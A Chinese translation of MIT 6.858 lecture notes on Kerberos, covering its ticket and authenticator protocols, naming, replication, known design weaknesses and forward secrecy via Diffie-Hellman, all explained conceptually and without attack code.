- 在 TCP/IP 之上实现安全性:SSL/TLS,Kerberos,SSH 等。
- 注意:这篇论文在加密与认证方面并不清晰。
- 下一讲将更详细地讨论 Kerberos。
- 使用密码学(加密、签名、MAC 等)。
- 这是一个相当困难的问题:协议设计,密钥分发,信任等。
- 有些安全性很难在顶层提供:DoS 抵抗,路由。
- 部署替代协议:SBGP,DNSSEC。
Kerberos
**注意:**这些讲座笔记略有修改自 2014 年 6.858 课程网站上发布的笔记。
Kerberos 设置
- 分布式架构,从单一的分时系统演变而来。
- 许多提供服务的服务器:远程登录、邮件、打印、文件服务器。
- 许多工作站,一些是公共的,一些是私有的。
- 每个用户登录到自己的工作站,拥有根访问权限。
- 对手可能也有自己的工作站。
- 当时的替代方案:rlogin、rsh。
- 目标:允许用户通过向服务器进行身份验证来访问服务。
- 其他用户信息通过 Hesiod、LDAP 或其他目录分发。
- 广泛使用:Microsoft Active Directory 使用 Kerberos(v5)协议。
信任模型是什么?
- 所有用户、客户端、服务器都信任 Kerberos 服务器。
- 其他机器之间没有先验信任。
- 网络是不受信任的。
- 用户信任本地机器。
Kerberos 架构
- 中央 Kerberos 服务器,被所有各方信任(或至少在 MIT 被所有方信任)。
- 用户、服务器之间有一个他们与 Kerberos 共享的私钥。
- Kerberos 服务器跟踪每个人的私钥。
- Kerberos 使用密钥实现客户端、服务器之间的相互身份验证。
- 术语:用户、客户端、服务器。
- 客户端和服务器知道彼此的名称。
- 客户端确信自己正在与服务器通信,反之亦然。
- Kerberos 不提供授权(用户能否访问某些资源)。
- 应用程序需要决定这一点。
为什么我们需要这个可信的 Kerberos 服务器?
- 用户不需要在每台服务器上设置帐户、密码等。
总体架构图
代码语言:javascript复制 +-----------------------+
c, tgs | |
[ User: Kc ] <--------> [ Kerberos ] |
^ \ | Database: |
| \ | c: Kc |
V \ s | s: Ks |
[ Server: Ks ] \--------> [ TGS ] |
| KDC |
+-----------------------+
Kerberos 构造
从论文中得到的基本 Kerberos 构造:
- 票证,
T_{c,s} = { s, c, addr, timestamp, life, K_{c,s} }
- 通常使用
K_s
加密
- 验证器,
A_c = { c, addr, timestamp }
- 通常使用
K_{c,s}
加密
Kerberos 协议机制:
- 对 Kerberos 数据库有两个接口:“Kerberos”和“TGS”协议。
- 相当相似;少许差异:
- 在 Kerberos 协议中,可以指定任何
c
、s
;客户端必须知道K_c
。
- 在 TGS 协议中,客户端的名称是隐式的(来自票证)。
- 客户端只需知道
K_{c,tgs}
来解密响应(而不是K_c
)。
- 客户端机器最初从哪里获取
K_c
?
- 对于用户,使用密码派生,实际上是使用哈希函数。
- 为什么我们需要这两个协议?为什么不只使用“Kerberos”协议?
- 客户端机器在获得 TGS 票证后可以忘记用户密码。
- 我们可以只存储
K_c
并忘记用户密码吗?等效于密码。
命名
- Kerberos 的关键之处:密钥与主体名称之间的映射。
- 每个主体名称由
(名称、实例、领域)
组成
- 通常写作
名称.实例@领域
- 哪些实体有主体?
- 用户:名称是用户名,实例用于特殊权限(按照惯例)。
- 服务器:名称是服务名称,实例是服务器的主机名。
- TGS:名称是’krbtgt’,实例是领域名称。
- 这些名称在哪里使用/名称在哪里重要?
- 用户记住他们的用户名。
- 服务器根据主体名称执行访问控制。
- 客户端选择他们期望与之交流的主体。
- 类似于浏览器期望 HTTPS 的特定证书名称
- 何时可以重复使用名称?
- 对于用户名:确保没有 ACL 包含该名称,很困难。
- 对于服务器(假设不在任何 ACL 上):确保用户忘记服务器名称。
- 必须更改密钥,以确保旧票据对新服务器无效。
获取初始票据:“Kerberos” 协议
- 客户端发送一对主体名称
(c, s)
,其中 s
通常是 tgs
。
- 服务器回复
{ K_{c,s}, { T_{c,s} }_{K_s} }_{K_c}
- Kerberos 服务器如何验证客户端?
- 不需要 – 愿意回应任何请求。
- 客户端如何验证 Kerberos 服务器?
- 解密响应并检查票据是否有效。
- 只有 Kerberos 服务器会知道
K_c
。
- 这种方式与将密码发送到服务器相比有何优劣之处?
- 密码不会通过网络发送,但更容易被暴力破解。
- 为什么从 Kerberos/TGS 服务器的响应中两次包含密钥?
- 响应中的
K_{c,s}
给予客户端访问这个共享密钥的权限。
- 票据中的
K_{c,s}
应该让服务器确信密钥是合法的。
一般弱点: Kerberos 4 假设加密提供消息完整性。
- 有一些攻击可以让对手篡改密文。
- 没有明确的 MAC 意味着没有明确定义的方法来检测篡改。
- 一次性解决方案:kprop 协议包括校验和,难以匹配。
- 弱点使得对手相对容易“伪造”票据。
- 参考:http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2003-004-krb4.txt
一般弱点: 对手可以发动离线猜测密码攻击。
- 典型密码的熵不高。
- 任何人都可以向 KDC 请求使用用户密码加密的票据。
- 然后尝试离线暴力破解用户密码:易于并行化。
- 更好的设计:要求客户端与服务器互动以进行每次登录尝试。
一般弱点: DES 硬编码到设计中,数据包格式。
- 当 DES 变得太弱时,难以切换到另一个加密系统。
- DES 密钥空间太小:密钥仅为 56 位,2⁵⁶ 并不算大。
- 现在破解 DES 很便宜(20–200 通过 https://www.cloudcracker.com/)。
- 对手如何利用这个弱点破解 Kerberos?
向服务器进行身份验证:“TGS” 协议
- 客户端发送
( s, {T_{c,tgs}}_{K_tgs}, {A_c}_{K_{c,tgs}} )
- 服务器回复
{ K_{c,s}, { T_{c,s} }_{K_s} }_{K_{c,tgs}}
- 服务器如何根据票据对客户端进行身份验证?
- 使用服务器的密钥解密票据。
- 使用
K_{c,s}
解密验证器。
- 只有 Kerberos 服务器可以生成票据(知道
K_s
)。
- 只有客户端可以生成验证器(知道
K_{c,s}
)。
- 为什么票据中包含
c
?s
?addr
?life
?
- 服务器可以从票据中提取客户端的主体名称。
- Addr 试图防止被盗票据在另一台机器上被使用。
- 生命周期同样试图限制被盗票据的损害。
- 网络协议如何使用 Kerberos?
- 使用
K_{c,s}
加密/认证所有消息。
- 邮件服务器命令、发送到打印机的文档、shell I/O 等。
- 例如,在邮件服务器协议中的“DELETE 5”。
- 谁生成认证器?
- 对于每个新连接,客户端。
- 为什么客户端需要发送认证器,除了票据之外?
- 向服务器证明对手没有重放旧消息。
- 服务器必须在内存中保留最近的几个认证器,以检测重放。
- Kerberos 如何使用时间?如果时钟错误会发生什么?
- 防止被盗票据永久使用。
- 限制重放缓存的大小。
- 如果时钟错误,对手可以使用旧票据或重放消息。
- 客户端如何认证服务器?为什么这很重要?
- 连接到文件服务器:想知道您获取的是合法文件。
- 解决方案:服务器在接收到客户端的票据和认证器后可以发送
{ timestamp + 1 }_{K_{c,s}}
。
**一般弱点:**相同的密钥K_{c,s}
用于许多事情
- 对手可以用
K_{c,s}
替换任何消息为其他消息。
- 例如:跨多个会话的消息。
- 认证器不证明
K_{c,s}
是新鲜的!
- 对手可以将新的认证器与旧消息拼接在一起。
- Kerberos v5 每次都使用新的会话密钥,在认证器中发送。
- 例如:不同方向的消息
- Kerberos v4 在数据包中包含了一个方向标志
(c->s 或 s->c)
- Kerberos v5 使用单独的密钥:
K_{c->s}, K_{s->c}
如果用户连接到错误的服务器(MITM /网络钓鱼攻击的类比)会发生什么?
- 如果服务器拦截数据包,了解用户连接到哪个服务。
- 如果用户意外输入 ssh malicious.server 会发生什么?
- 服务器了解用户的主体名称。
- 服务器没有获取用户的 TGS 票据或
K_c
。
- 无法冒充用户给其他人。
如果 KDC 宕机会发生什么?
- 无法登录。
- 无法获取新票据。
- 可以继续使用现有的票据。
认证到 Unix 系统。
- 访问本地文件、进程时不涉及 Kerberos 协议。
- 如果使用 Kerberos 登录,用户必须呈现合法的票据。
- 如果用户使用用户名/密码(本地或通过 SSH 使用密码)登录会发生什么?
- 用户知道自己提供的密码是否合法。
- 服务器毫无所知。
- 服务器可能受到攻击:
- 用户通过 SSH 连接,输入用户名和密码。
- 创建看起来合法的 Kerberos 响应,使用密码加密。
- 服务器无法判断此响应是否真正合法。
- 解决方案(如果服务器保持状态):服务器需要自己的主体、密钥。
- 首先获取用户的 TGS,使用用户的用户名和密码。
- 然后使用 TGS 获取服务器主体的票据。
- 如果用户伪造了 Kerberos 服务器,第二个票据将不匹配。
在应用程序中使用 Kerberos。
- 论文建议使用特殊函数封装消息,有 3 个安全级别。
- 对应用程序需要适度更改。
- 对于灵活性、性能很好。
- 不利于采用。
- 开发人员很难理解微妙的安全保证。
- 或许更好的抽象:安全通道(SSL/TLS)。
更改密码服务(管理界面)
- Kerberos 协议如何确保客户端知道密码?为什么?
- 票证中的特殊标志指示使用哪个接口获取它。
- 更改密码服务仅接受使用
K_c
获得的票证。
- 确保客户端知道旧密码,不仅仅是拥有票证。
- 客户端如何更改用户的密码?
- 连接到更改密码服务,将新密码发送到服务器。
复制
- 一个主服务器(支持密码更改),零个或多个从服务器。
- 所有服务器都可以发出票证,只有主服务器可以更改密钥。
- 为什么要这样分割?
- 只有一个主服务器确保一致性:不能有冲突的更改。
- 主服务器定期更新从服务器(在撰写本文时,大约每小时一次)。
- 更近期的实现具有增量传播:较低的延迟(但不是 0)。
- 这个有多可扩展?
- 对称加密(DES,AES)很快–在当前硬件上为 O(100MB / sec)。
- 票证很小,O(100 字节),因此可以支持每秒 1M 张票证。
- 通过添加从服务器轻松扩展。
- 潜在问题:密码更改需要一段时间才能传播。
- 对手在用户更改密码后仍然可以一段时间使用窃取的密码。
- 要了解如何正确进行复制,请参加 6.824。
Kerberos 数据库的安全性
- 主服务器和从服务器在这种设计中非常敏感。
- 受损的主/从服务器意味着所有密码/密钥都必须更改。
- 必须物理安全,Kerberos 服务器软件中没有错误,在服务器机器上的任何其他网络服务中也没有错误等。
- 我们能做得更好吗?SSL CA 基础设施略好一些,但并不多。
- 当我们谈论浏览器安全/HTTPS 时,将更详细地研究它。
- 大多数集中式身份验证系统都遭受这些问题。…并且全球唯一的自由形式名称需要一些受信任的映射机构。
为什么 Kerberos 没有使用公钥加密?
- 当时太慢了:VAX 系统,10MHz 时钟。
- 政府出口限制。
- 专利。
网络攻击。
- Kerberos 服务器上的离线密码猜测攻击。
- Kerberos v5 防止客户端请求任何主体的票证。
- 必须在请求中包含
{ timestamp }_{K_c},证明知道 K_c。
- 当时仍然容易受到网络嗅探器的密码猜测攻击。
- 有更好的替代方案:SRP,PAKE。
- 对手可以使用窃取的票证做什么?
- 对手可以使用窃取的
K_c
做什么?
- 对手可以使用窃取的
K_s
做什么?
- 记住:在 Kerberos 中,两方共享每个密钥(并依赖于它)!
- 如果
K_c
被泄露后密码更改后会发生什么?
- 可以解密所有后续交换,从初始票证开始
- 甚至可以解密密码更改请求,获取新密码!
- 如果对手稍后弄清您的旧密码怎么办?
- 如果对手保存了旧数据包,可以解密所有内容。
- 可以类似地获取当前密码。
前向保密(避免密码更改问题)。
- 抽象问题:在两方之间建立共享秘密。
- Kerberos 方法:某人选择秘密,加密并发送。
- 弱点:如果加密密钥被窃取,可以稍后获取秘密。
- Diffie-Hellman 密钥交换协议:
- 两方选择自己的秘密部分。
- 互发消息。
- 消息不必保密,只需经过身份验证(无篡改)。
- 两方使用彼此的消息重建共享密钥。
- 对手无法通过观察网络消息重建密钥。
- Diffie-Hellman 的细节:
- 素数 p,生成器 g mod p。
- Alice 和 Bob 各自选择一个随机的、秘密的指数(a 和 b)。
- Alice 和 Bob 向彼此发送(g^a mod p)和(g^b mod p)。
- 每个参与方计算(g^(ab) mod p)=(gab mod p)=(gba mod p)。
- 使用(g^(ab) mod p)作为秘密密钥。
- 假设离散对数(从(g^a mod p)中恢复 a)很困难。
Kerberos 中的跨域。
- 领域之间共享密钥。
- Kerberos v4 仅支持成对的跨域(无过境)。
Kerberos 不能解决什么问题?
- 客户端、服务器或 KDC 机器可能会受到威胁。
- 访问控制或组(由服务实现)。
- 微软“扩展”了 Kerberos 以支持组。
- 实际上用户的组列表包含在票据中。
- 代理问题:Kerberos 中仍然没有很好的解决方案,但 ssh-agent 很好。
- 工作站安全性(可以木马登录,并且实际上确实发生过)。
- 基于智能卡的方法并没有起飞。
- 谷歌身份验证器使用的两步验证(基于时间的 OTP)。
- 共享桌面系统并不那么普遍:每个人都有自己的手机、笔记本电脑,…
后续步骤。
- Kerberos v5 修复了 v4 中的许多问题(一些被提及),被广泛使用(MS AD)。
- OpenID 是一个类似的协议,用于 Web 应用程序的身份验证。
- 通过 HTTP 请求传递类似的消息。